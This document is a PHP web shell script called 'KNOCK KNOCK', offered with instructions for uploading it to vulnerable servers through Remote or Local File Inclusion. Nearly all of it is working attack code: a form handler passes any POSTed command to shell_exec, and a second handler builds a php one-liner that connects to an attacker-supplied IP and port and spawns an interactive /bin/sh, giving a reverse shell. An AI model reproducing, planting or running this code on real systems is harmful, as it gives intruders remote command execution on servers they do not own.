/* Name : KNOCK KNOCK Owner : Naman Sahore Email : namansahore@gmail.com Published on : 30th July 2017 This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. This shell scrpit can be used for performing Remote File Inclusion as well as Local File Inclusion( by adding .php at the end of script) and getting REVERSE SHELL from vulnerable server or performing shell command on browser. HOW TO USE: FOR RFI Clear .txt extention and upload the script on a server and preform RFI. FOR LFI Clear .txt and add .php extention to the script and perform LFI by uploading shell script on a vulnerable server. Comment for more information.*/<body style="background-color:rgb(200,200,200);">
<h1 color="rgb(255, 0, 31)">KNOCK KNOCK
<h2 color="rgb(255, 0, 31)">SHELL COMMAND :

<h2 color="rgb(255, 0, 31)">R SHELL USING PHP <p><i>*NOTE : Before triggring rshell, start listening</i></p>
IP : &nbsp;PORT : </strong>
<br /> <strong> <font size="5"> if(isset($_POST["cmd"])){ $cmd=$_POST["cmd"]; $output = shell_exec("{$cmd} 2>&1"); echo $cmd."
"."<pre>".$output."</pre>"; } if (isset($_POST["ip"]) && isset($_POST["port"])) { $sock="sock"; $cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'"; if (strlen($cmd)>66) { shell_exec("{$cmd} 2>&1"); } } </font> </strong>